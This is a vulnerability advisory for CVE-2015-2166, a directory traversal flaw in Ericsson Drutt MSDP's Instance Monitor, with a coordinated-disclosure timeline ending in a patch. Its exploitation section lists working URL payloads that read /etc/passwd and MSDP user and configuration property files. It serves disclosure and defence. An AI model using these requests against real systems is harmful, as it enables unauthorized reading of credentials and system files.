+------------------------------------------------------------------------------------------------------+ + Ericsson Drutt MSDP (Instance Monitor) - Directory Traversal Vulnerability and Arbitrary File Access + +------------------------------------------------------------------------------------------------------+ Affected Product: Ericsson Drutt MSDP (Instance Monitor) Vendor Homepage : www.ericsson.com Version : 4, 5 and 6 CVE v2 Vector : AV:N/AC:L/Au:N/C:P/I:N/A:N CVE : CVE-2015-2166 Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] Patched : Yes +-------------+ + Description + +-------------+ Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf. The identified vulnerability affects the Instance Monitor component and allows a unauthenticated remote attacker to access arbitrary files on the file system. +----------------------+ + Exploitation Details + +----------------------+ This vulnerability can be triggered via a simple, similar to the below HTTP GET request(s): http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt/drutt/msdp/manager/conf/props/msdp-users.properties http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/opt/drutt/msdp/manager/conf/ccContext.properties +---------------------+ + Disclosure Timeline + +---------------------+ 17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback 24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office 24.Feb.2015 - Contacted Corporate Security Office team 02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel 02.Mar.2015 - Shared vulnerability details 06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches 08.Mar.2015 - Agreed on public disclosure timelines 12.Mar.2015 - Patches released 31.Mar.2015 - Public disclosure